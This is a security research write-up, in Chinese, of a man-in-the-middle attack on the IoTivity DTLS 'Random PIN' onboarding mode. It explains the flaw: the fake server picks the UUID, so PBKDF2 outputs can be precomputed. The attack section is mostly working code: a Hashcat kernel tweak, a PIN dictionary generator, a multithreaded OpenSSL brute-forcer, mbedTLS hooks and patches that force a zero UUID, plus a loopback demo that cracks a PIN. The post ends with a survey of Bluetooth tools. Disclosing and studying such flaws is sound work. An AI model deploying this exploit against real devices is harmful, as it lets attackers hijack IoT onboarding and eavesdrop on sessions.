前言
IoTivity 是物聯網(IoT)標准的開源實現,該標准由 Open Connectivity Foundation(OCF)組織制定。
同時支持 IP、BLE、BT、TCP 及 NFC 等多種連接方式。
並且兼容 Ubuntu、Android、Tizen 和 Arduino 等環境。
本文將對 IoTivity 所采用的 DTLS 安全連接協議進行中間人攻擊。
IoTivity 框架結構
低功耗藍牙(BLE)概述
HCI:藍牙鏈路控制層
GATT:服務和屬性控制層
Service:設備提供的服務
Characteristic:服務提供的接口,一般會提供多種方法,比如 Write、Read、Notify 等
中間人攻擊(MITM)概述
中間人攻擊(Man In The Middle
,簡稱 MITM)是指攻擊者與通訊的兩端分別創建獨立的聯系,並交換其所收到的數據,使通訊的兩端認為他們正在通過一個私密的連接與對方直接對話,但事實上整個會話都被攻擊者完全控制。
根據中間人是否對通信內容進行篡改,又可分為主動的中間人攻擊和被動的中間人攻擊。
通信加密(DTLS)概述
IoTivity 框架下,設備的連接方式有三種,分別是 Just Works
、Random PIN
和 Manufacturer Certificate
。
這三種連接方式均采用 ECDH(E)作為密鑰協商算法,可以有效抵擋被動的中間人攻擊,並保證連接的前向安全性。
通信協議采用的是 DTLS,是基於 UDP 連接方式的 TLS 實現,所用的加密套件和 TLS 相同。
Just Works
此模式使用 TLS_ECDH_anon_WITH_AES_128_CBC_SHA256
加密套件,無法抵擋主動的中間人攻擊。
在這個工作模式下,通信雙方不需要設置預共享密鑰或證書,即可直接建立起 TLS 連接。
優點是連接方便,適用於沒有顯示功能的藍牙設備。
缺點是連接的安全性沒有保證。
Random PIN
此模式使用 TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256
加密套件,可以在一定程度上抵擋主動的中間人攻擊,安全性取決於 PIN 的復雜程度。
由服務端生成 8 位數字 PIN,並通過安全信道(Out Of Band
,簡稱 OOB)將其分發給客戶端,隨后 PIN 會用於 TLS 加密套件的的認證過程。
舉個例子,通過電視屏幕來顯示 PIN 就是一種 OOB 的方案,只需要保證中間人得不到這個 PIN 即可。
優點是每次使用的 PIN 都是隨機生成的,這種連接方式有比較高的安全性,而且連接方式比較簡單。
一般來說,最常用的連接方法就是 Random PIN
了。
Manufacturer Certificate
此模式使用 MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8
加密套件,無法抵擋主動的中間人攻擊。
服務端和客戶端需要提前配置好 ECDSA 證書,隨后 ECDSA 證書會用於 TLS 加密套件的的認證過程。
缺點是證書容易泄露,無法保證連接的安全性,而且配置證書的過程比較繁瑣。
基於BLE的協議棧
DTLS:負責通信加密
CoAP:負責傳輸控制
GATT:負責提供藍牙接口
HCI:負責藍牙鏈路控制
中間人攻擊
下面將以 Random PIN
連接方式為例,通過 Hook mbedTLS 中的相關函數,對 TLS_ECDHE_PSK
加密套件進行中間人攻擊。
TLS_ECDHE_PSK 握手過程
Client Hello:包含 Client Random
Server Hello:包含 Server Random
Server Key Exchange:包含 Server UUID
和 Server Public Key
Client Key Exchange:包含 Client UUID
和 Client Public Key
Client Finish:計算握手信息的 HMAC_SHA256
摘要,並使用 AES 密鑰對其進行加密,再將 AES 加密所用的 IV 附在前面
Client Finish 的生成過程
Client Finish 的依賴關系
中間人攻擊過程
在已知:
的前提下,我們可以通過暴力嘗試來找到 PIN 滿足:
從而與真正的 Client 和 Server 完成連接,進而監聽整個會話信息。
密碼學誤用
注意在 OCF 制定的標准中,生成 PSK 所用的 UUID 是 Server 提供的,因此 Attacker 作為假 Server 可以在握手的時候提供一個固定的 UUID,這樣就可以通過提前打表來繞過 PBKDF2 的迭代過程,從而減少破解 PIN 所需要的時間。
部分攻擊代碼
這里為了方便演示只暴力嘗試以 00 開頭的 PIN,破解用時不到 1 秒,平均每秒嘗試 \(10^6\) 次。
考慮到實際連接中超時時間通常設置為 60 秒,所以理論上可以在窗口時間內破解出任何 PIN ,只需要增加字典的數目即可。
使用 GPU 對 PBKDF2 進行打表(需要 Hashcat 環境)
m10900-pure.cl
KERNEL_FQ void m10900_comp (KERN_ATTR_TMPS_ESALT (pbkdf2_sha256_tmp_t, pbkdf2_sha256_t))
{
const u64 gid = get_global_id (0);
if (gid >= gid_max) return;
const u64 lid = get_local_id (0);
const u32 r0 = tmps[gid].out[0];
const u32 r1 = tmps[gid].out[1];
const u32 r2 = tmps[gid].out[2];
const u32 r3 = tmps[gid].out[3];
const u32 r4 = tmps[gid].out[4];
const u32 r5 = tmps[gid].out[5];
const u32 r6 = tmps[gid].out[6];
const u32 r7 = tmps[gid].out[7];
printf("%08x%08x %08x%08x%08x%08x%08x%08x%08x%08x\n",hc_swap32_S(pws[gid].i[0]),hc_swap32_S(pws[gid].i[1]),r0,r1,r2,r3,r4,r5,r6,r7);
}
gendict.cpp
#include <cstdio>
#include <cstdlib>
char cmd[1024];
// HASH = PBKDF2-HMAC-SHA256
// PIN = 00000000 ~ 99999999
// UUID = 00000000000040004000000000000000
// ITER = 1000
char fmt[]="del kernels\\m10900-*&hashcat --force --quiet --keep-guessing --self-test-disable --potfile-disable -m 10900 -a 3 sha256:1000:AAAAAAAAQABAAAAAAAAAAA==:0000000000000000000000 %02d?d?d?d?d?d?d > dict\\dict%02d.txt";
int main(){
for (int i=0;i<1;i++){ //100
sprintf(cmd,fmt,i,i);
printf("%d\n",i);
system(cmd);
}
}
多線程暴力嘗試 PIN(需要 OpenSSL 環境)
oc_brute.c
#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <openssl/hmac.h>
#include <string.h>
#include <pthread.h>
int debug=0;
unsigned char pin[1000000][8],psk[1000000][16];
unsigned char _pin[16+1],_psk[64+1];
// Public IN
typedef struct brute_t{
unsigned char label1[32];
unsigned char label2[32];
unsigned char label3[32];
unsigned char z[32];
unsigned char padbuf[32];
unsigned char randbytes[64];
unsigned char iv[16];
unsigned char cipher[64];
}brute_t;
brute_t brute_in;
// Public OUT
unsigned char *brute_out;
pthread_t plist[100];
unsigned char *HMAC(const EVP_MD *evp_md, const void *key, int key_len,
const unsigned char *d, size_t n, unsigned char *md,
unsigned int *md_len);
void hexlify(unsigned char *buf,int len)
{
for (int i=0;i<len;i++)
printf("%02x",buf[i]);
printf("\n");
}
void handleErrors()
{
//printf("ERR\n");
}
void PRF(const EVP_MD *evp_md,
unsigned char *secret, size_t slen,
unsigned char *label,
unsigned char *randombytes, size_t rlen,
unsigned char *dstbuf, size_t dlen )
{
size_t nb;
size_t i, j, k, md_len;
unsigned char tmp[128];
unsigned char h_i[32];
HMAC_CTX *md_ctx=HMAC_CTX_new();
unsigned int _md_len;
md_len = EVP_MD_size( evp_md );
nb = strlen( (char*)label );
memcpy( tmp + md_len, label, nb );
memcpy( tmp + md_len + nb, randombytes, rlen );
nb += rlen;
/*
* Compute P_<hash>(secret, label + brute_in.randbytesom)[0..dlen]
*/
HMAC_Init_ex( md_ctx, secret, slen, evp_md, NULL );
HMAC_Update( md_ctx, tmp + md_len, nb );
HMAC_Final( md_ctx, tmp, &_md_len );
// HMAC_Init_ex() initializes or reuses a B<HMAC_CTX> structure to use the hash
// function B<evp_md> and key B<key>. If both are NULL, or if B<key> is NULL
// and B<evp_md> is the same as the previous call, then the
// existing key is
// reused. B<ctx> must have been created with HMAC_CTX_new() before the first use
// of an B<HMAC_CTX> in this function.
for( i = 0; i < dlen; i += md_len )
{
HMAC_Init_ex( md_ctx, NULL, slen, NULL, NULL );
HMAC_Update( md_ctx, tmp, md_len + nb );
HMAC_Final( md_ctx, h_i, &_md_len );
HMAC_Init_ex( md_ctx, NULL, slen, NULL, NULL );
HMAC_Update( md_ctx, tmp, md_len );
HMAC_Final( md_ctx, tmp, &_md_len );
k = ( i + md_len > dlen ) ? dlen % md_len : md_len;
for( j = 0; j < k; j++ )
dstbuf[i + j] = h_i[j];
}
HMAC_CTX_free( md_ctx );
}
int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key,
unsigned char *iv, unsigned char *plaintext)
{
EVP_CIPHER_CTX *ctx;
int len;
int plaintext_len;
/* Create and initialise the context */
if(!(ctx = EVP_CIPHER_CTX_new()))
{handleErrors();}
/*
* Initialise the decryption operation. IMPORTANT - ensure you use a key
* and brute_in.iv size appropriate for your cipher
* In this example we are using 128 bit AES (i.e. a 128 bit key). The
* brute_in.iv size for *most* modes is the same as the block size. For AES this
* is 128 bits
*/
if(1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))
{handleErrors();}
/*
* Provide the message to be decrypted, and obtain the plaintext output.
* EVP_DecryptUpdate can be called multiple times if necessary.
*/
if(1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))
{handleErrors();}
plaintext_len = len;
/*
* Finalise the decryption. Further plaintext bytes may be written at
* this stage.
*/
if(1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len))
{handleErrors();}
plaintext_len += len;
/* Clean up */
EVP_CIPHER_CTX_free(ctx);
return plaintext_len;
}
void checkPIN(unsigned char *pin, unsigned char *psk)
{
unsigned char plain[64];
unsigned char iv[16];
memcpy(iv,brute_in.iv,16);
// premaster = {lenbrute_in.z, brute_in.z, lenPSK, PSK}
unsigned char pms[52];
pms[0]=0;pms[1]=32;
memcpy(pms+2,brute_in.z,32);
pms[34]=0;pms[35]=16;
memcpy(pms+36,psk,16);
if (debug) {printf("pms : ");hexlify(pms,52);}
// master = PRF(EVP_sha256(),pms, "extended master secret", brute_in.padbuf, 32, master, 48)
unsigned char master[48];
PRF(EVP_sha256(),pms,52,brute_in.label1,brute_in.padbuf,32,master,48);
if (debug) {printf("master : ");hexlify(master,48);}
// keyblk = PRF(EVP_sha256(),master, "key expansion", brute_in.randbytesbytes_after_swap, 64, keyblk, 128)
unsigned char keyblk[256];
//只需要把key算出來即可,不需要把256字節都算完
PRF(EVP_sha256(),master,48,brute_in.label2,brute_in.randbytes,64,keyblk,80); //256);
if (debug) {printf("keyblk : ");hexlify(keyblk,256);}
// hash = PRF(EVP_sha256(),master, "client finished", brute_in.padbuf, 32, hash, 12)
unsigned char hash[12];
PRF(EVP_sha256(),master,48,brute_in.label3,brute_in.padbuf,32,hash,12);
if (debug) {printf("hash : ");hexlify(hash,12);}
// keyblock(:128) = {mac_dec(32), mac_enc(32), key2(16), key1(16), brute_in.iv_dec(16), brute_in.iv_enc(16)}
unsigned char key[16];
memcpy(key,keyblk+64,16);
if (debug) {printf("key : ");hexlify(key,16);}
// Decrypt the ciphertext
decrypt(brute_in.cipher, 64, key, iv, plain);
if (debug) {printf("plain : ");hexlify(plain,64);}
// Verify
if (debug) {
hexlify(hash,12);
hexlify(plain+12,12);
printf("\n");
}
if (!memcmp(hash,plain+12,12)){
printf("PIN : %.8s\n",pin);
brute_out=pin;
}
}
void unhex(unsigned char *dst,unsigned char *src,int dlen){
for (int i=0,j=0;i<dlen;i++,j+=2){
dst[i]=(src[j]>='a'?src[j]-'a'+10:src[j]-'0')*0x10+(src[j+1]>='a'?src[j+1]-'a'+10:src[j+1]-'0');
}
}
void precheckPIN(void *idx){
for (int i=((long long)idx*100000);i<(((long long)idx+1)*100000);i++){
if (brute_out!=NULL) return;
checkPIN(pin[i],psk[i]);
}
}
void brute(){
printf("brute start\n");
memcpy(brute_in.label1,"\x65\x78\x74\x65\x6e\x64\x65\x64\x20\x6d\x61\x73\x74\x65\x72\x20\x73\x65\x63\x72\x65\x74",22);
memcpy(brute_in.label2,"\x6b\x65\x79\x20\x65\x78\x70\x61\x6e\x73\x69\x6f\x6e",13);
memcpy(brute_in.label3,"\x63\x6c\x69\x65\x6e\x74\x20\x66\x69\x6e\x69\x73\x68\x65\x64",15);
// infomation
printf("Brute : \n");
hexlify(brute_in.label1,22);
hexlify(brute_in.label2,13);
hexlify(brute_in.label3,15);
hexlify(brute_in.z,32);
hexlify(brute_in.padbuf,32);
hexlify(brute_in.randbytes,64);
hexlify(brute_in.iv,16);
hexlify(brute_in.cipher,64);
// read dict
FILE *ret=freopen("/home/byaidu/iot-lite/dict/dict00.txt","r",stdin);
if (ret==NULL) return;
for (int i=0;i<1000000;i++){
int rets=scanf("%s %s",_pin,_psk);
if (rets==0) return;
unhex(pin[i],_pin,8);
unhex(psk[i],_psk,16);
}
// alloc 10 task
for (long long i=0;i<10;i++){
pthread_create(&plist[i], NULL, (void * (*)(void *))&precheckPIN, (void *)i);
}
// wait task
for (int i=0;i<10;i++){
pthread_join(plist[i],NULL);
}
if (brute_out!=NULL) {
printf("succeed\n");
}else{
printf("failed\n");
brute_out=(unsigned char*)"00000000";
}
}
oc_exp.c
#include <unistd.h>
#include "oc_brute.c"
#define lenHdr 12
#define lenPIN 8
#define lenUUID 0x10
#define lenPSK 0x10
#define lenEncMsg 0x50
#define lenMsg 12
#define lenRandbytes 64
static unsigned char UUID[lenUUID];
static unsigned char PSK[lenPSK];
static unsigned char hash[lenMsg];
static unsigned char randbytes[lenRandbytes];
extern brute_t brute_in;
extern int oc_tls_pbkdf2(const unsigned char *pin, size_t pin_len, oc_uuid_t *uuid,
unsigned int c, uint8_t *key, uint32_t key_len);
extern int ssl_decrypt_buf( mbedtls_ssl_context *ssl );
extern void ssl_calc_finished_tls_sha256(mbedtls_ssl_context *ssl, unsigned char *buf, int from );
extern int mbedtls_ssl_psk_derive_premaster( mbedtls_ssl_context *ssl, mbedtls_key_exchange_type_t key_ex );
extern int mbedtls_ssl_derive_keys( mbedtls_ssl_context *ssl );
int firstconnect=1;
extern void hexlify(unsigned char *buf,int len);
int check_PIN(mbedtls_ssl_context *ssl){
//remind to use Randbyes (after swap) here
memcpy( brute_in.randbytes, randbytes + 32, 32 );
memcpy( brute_in.randbytes + 32, randbytes, 32 );
brute();
//brute_out=(unsigned char*)"00000000";
// 根據UUID和PIN計算PSK
oc_uuid_t _UUID;
memcpy(_UUID.id,UUID,lenUUID);
// PIN = brute_out
oc_tls_pbkdf2(brute_out,lenPIN,&_UUID,1000,PSK,lenPSK);
printf("# PIN : ");hexlify(brute_out,lenPIN);
printf("# UUID : ");hexlify(UUID,lenUUID);
printf("# PSK : ");hexlify(PSK,lenPSK);
// 設置PSK
mbedtls_ssl_set_hs_psk(ssl,PSK,16);
// 根據PSK和Z計算PMS
mbedtls_ssl_psk_derive_premaster(ssl,MBEDTLS_KEY_EXCHANGE_ECDHE_PSK);
// 根據PMS計算Master,KeyBlock,lenIV並設置Transform
mbedtls_ssl_derive_keys(ssl);
// Cacl HMAC_SHA256 After derive keys
ssl_calc_finished_tls_sha256(ssl,hash,MBEDTLS_SSL_IS_CLIENT);
// 應用Transform
ssl->transform_in = ssl->transform_negotiate;
ssl->session_in = ssl->session_negotiate;
return 0;
}
// Modify / Brute PIN of HandShake and Verify PIN with EncMsg
// Callback From : mbedtls_ssl_parse_finished
int mbedtls_ssl_parse_finished_cb( mbedtls_ssl_context *ssl ){
//fix the position of record
ssl->in_msg+=16;
// 2 bytes offset between in_msg & iv
memcpy(brute_in.iv,ssl->in_msg-2,16);
memcpy(brute_in.cipher,ssl->in_msg+16-2,64);
// calc z & padbuf for brute_in
size_t zlen;
mbedtls_ecdh_calc_secret( &ssl->handshake->ecdh_ctx, &zlen,
brute_in.z, 32,
ssl->conf->f_rng, ssl->conf->p_rng );
mbedtls_sha256_context sha256;
mbedtls_sha256_init( &sha256 );
mbedtls_sha256_clone( &sha256, &ssl->handshake->fin_sha256 );
mbedtls_sha256_finish_ret( &sha256, brute_in.padbuf );
// Save Randbytes
memcpy(randbytes,ssl->handshake->randbytes,lenRandbytes);
// Brute PIN
check_PIN(ssl);
return 0;
}
// Get UUID of HandShake
// Callback From : ssl_parse_client_psk_identity / get_psk_cb
int ssl_parse_client_psk_identity_cb( unsigned char *oc_PIN, unsigned char *ocUUID ){
// read UUID set by app
memcpy(UUID,ocUUID,lenUUID);
// do something to skip warning
memcpy(oc_PIN,"00000000",lenPIN);
return 0;
}
oc_tls.c
+ if (firstconnect) ssl_parse_client_psk_identity_cb(PIN, (unsigned char *)&doxm->deviceuuid);
if (oc_tls_pbkdf2(PIN, PIN_LEN, &doxm->deviceuuid, 1000, key, 16) != 0) {
OC_ERR("oc_tls: error deriving PPSK");
return -1;
}
ssl_srv.c
+ if (firstconnect){
+ ssl->state++;
+ return( 0 );
+ }
MBEDTLS_SSL_DEBUG_ECDH( 3, &ssl->handshake->ecdh_ctx,
MBEDTLS_DEBUG_ECDH_QP );
case MBEDTLS_SSL_HANDSHAKE_WRAPUP:
mbedtls_ssl_handshake_wrapup( ssl );
+ firstconnect=0;
break;
ssl_tls.c
int mbedtls_ssl_parse_finished( mbedtls_ssl_context *ssl )
{
+ if (firstconnect) mbedtls_ssl_parse_finished_cb(ssl);
api_oc_uuid.c
void
oc_gen_uuid(oc_uuid_t *uuid)
{
int i;
uint32_t r;
for (i = 0; i < 4; i++) {
- r = oc_random_value();
+ r=0;
memcpy((uint8_t *)&uuid->id[i * 4], (uint8_t *)&r, sizeof(r));
}
基於 IP 協議棧的攻擊
下面將演示中間人在提前不知道握手所用的 PIN 的前提下,僅通過部分握手報文來破解出 PIN,並使用這個 PIN 來完成剩下的握手過程。
因為 IoTivity 對 Linux 的藍牙支持不太友好,所以最后就只做了本地 TCP/IP 回路上的測試。
首先在 Loopback 上開啟 Client 和 Attacker。
在 Client 使用 Discover 功能搜索 Attacker,然后點擊 Onboard 進行連接。
注意這里的連接模式要選 Random PIN
。
隨意填寫一個 PIN,比如 00777777
。
稍等片刻,Attacker 在終端輸出 PIN : 00777777
,代表成功破解出 Client 所用的 PIN。
隨后 Client 彈出窗口提示成功連接設備。
連接成功后可以在 Client 查看 Attacker 的詳細信息。
工具
nRF Connect
一款非常強大的 App,支持 iOS 和 Android,可以在手機上查看周圍任何藍牙設備的生產商信息、Service 以及 Characteristic 等,同時支持對 Characteristic 的各種操作。
UWP
微軟的 UWP 框架提供了藍牙功能,而且開發流程非常簡單,但是受限於 Windows 藍牙棧,絕大多數的設備屬性都沒有辦法修改,不推薦。
Noble / Bleno
用於 BLE 通信的 Node.js 模塊,支持 Mac OS X, Linux, FreeBSD 以及 Windows 等系統,而且對硬件有要求。
BlueZ
包含 Linux 下的藍牙的開發環境和工具集,包括 hcitool
、gatttool
以及 bluetoothctl
,下面的這些項目都是基於 BlueZ 來實現的,但是 BlueZ 是針對 GATT 協議層的工具,如果 GATT 協議層之上還有很多層協議的話,直接使用這個工具就顯得不是很合適了。
PyBluez/BluePy
提供 BlueZ 的 Python 封裝接口。
Ubertooth
可以用於藍牙監聽的設備,黑色的 PCB 造型非常酷,但是必須要吐槽一下,丟包實在是太嚴重了,而且只能做被動監聽,不推薦。
Bettercap
雖然文檔寫的不錯,但是提供的功能非常少,只能用來發包開個藍牙鎖,可以看成是個玩具級產品,不推薦。
Gattacker/Btlejuice
這兩個工具都是基於 noble 的項目,可以完整實現藍牙的中間人攻擊,並且提供了 Python
和 Node.js
的 Bindings,不過它們都是針對 GATT 協議層的工具。
參考文章
OCF Security Standards : https://openconnectivity.org/specs/OCF_Security_Specification_v2.1.2.pdf
Server Key Exchange : https://tools.ietf.org/html/rfc4492#section-5.4
ECDHE_PSK Key Exchange Algorithm : https://tools.ietf.org/html/rfc5489#section-2
DHE_PSK Key Exchange Algorithm : https://tools.ietf.org/html/rfc4279#section-3
ECDHE : https://blog.csdn.net/mrpre/article/details/78025940
ECPoint : https://www.cnblogs.com/xinzhao/p/8963724.html
DTLS Sample : https://wiki.wireshark.org/DTLS
mbedTLS : https://github.com/ARMmbed/mbedtls
IoTivity : https://github.com/iotivity/iotivity-lite
BlueZ : http://www.bluez.org/
BlueZ Document : https://core.docs.ubuntu.com/en/stacks/bluetooth/bluez/docs/
PyBluez : https://github.com/pybluez/pybluez